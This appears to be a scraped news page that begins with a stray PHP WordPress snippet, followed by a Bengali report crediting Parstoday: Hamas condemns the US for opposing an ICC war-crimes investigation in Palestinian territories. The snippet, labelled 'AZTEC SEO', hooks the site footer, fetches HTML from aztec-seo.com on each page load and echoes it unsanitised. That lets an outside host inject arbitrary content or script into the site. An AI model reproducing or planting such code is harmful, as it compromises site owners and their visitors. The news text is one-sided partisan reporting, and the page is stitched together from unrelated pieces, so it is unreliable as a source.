/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
ইসরাইলি যুদ্ধাপরাধের তদন্তের বিরুদ্ধে মার্কিন অবস্থানের তীব্র নিন্দা জানিয়েছে ফিলিস্তিনের ইসলামী প্রতিরোধ আন্দোলন হামাস। হামাসের মুখপাত্র হাজিম কাসিম বলেছেন, আমেরিকা আন্তর্জাতিক অপরাধ আদালত বা আইসিসি’র তদন্তের বিরুদ্ধে অবস্থান নিয়ে কার্যত ইসরাইলের সঙ্গে নিজেকেও অপরাধী হিসেবে তুলে ধরেছে।
এ ধরণের অবস্থান দখলদার ইসরাইলকে যুদ্ধাপরাধ চালিয়ে যেতে উৎসাহ দেবে বলে তিনি মন্তব্য করেন। হামাস মুখপাত্র আরও বলেন, তদন্তের বিরোধিতা করার কারণে ইসরাইল নিজেকে যেকোনো আইনের ঊর্ধ্বে বলে মনে করবে এবং নির্দ্বিধায় অপরাধ চালিয়ে যাওয়ার সাহস পাবে। এর ফলে এ ধরণের অপরাধের জন্য মার্কিন যুক্তরাষ্ট্রও দায়ী থাকবে।
ফিলিস্তিনি ভূখণ্ডে যুদ্ধাপরাধ খতিয়ে দেখতে আন্তর্জাতিক অপরাধ আদালত বা আইসিসি যে তদন্তের উদ্যোগ নিয়েছে যুক্তরাষ্ট্র তার বিরুদ্ধেই থাকবে বলে ওয়াশিংটন ঘোষণা করার পর এই প্রতিক্রিয়া দেখাল হামাস।
যুক্তরাষ্ট্রের ভাইস প্রেসিডেন্ট কমলা হ্যারিস ইসরাইলি প্রধানমন্ত্রী বেনিয়ামিন নেতানিয়াহুকে ফোন করে বলেছেন, নয়া মার্কিন সরকারও ইসরাইলি অপরাধ তদন্তের বিরোধিতা অব্যাহত রাখবে।
আইসিসির কৌঁসুলি ফাতৌ বেনসৌদা ফিলিস্তিন ভূখণ্ডে সম্ভাব্য যুদ্ধাপরাধ খতিয়ে দেখতে তদন্ত শুরু হতে যাচ্ছে বলে জানানোর পরপরই ফোন করেন মার্কিন ভাইস প্রেসিডেন্ট।
২০১৯ সালের ডিসেম্বরে বেনসৌদা বলেছিলেন, প্রাথমিক অনুসন্ধানে পশ্চিম তীর ও গাজায় যুদ্ধাপরাধ সংঘটিত হওয়ার তথ্য-উপাত্ত মিলেছে। ফিলিস্তিনি ভূখণ্ড দখল করে ইসরাইল প্রতিষ্ঠার পর দখলদারেরা এ পর্যন্ত বহু মানুষকে নির্মমভাবে হত্যা করেছে। সূত্র : পার্সটুডে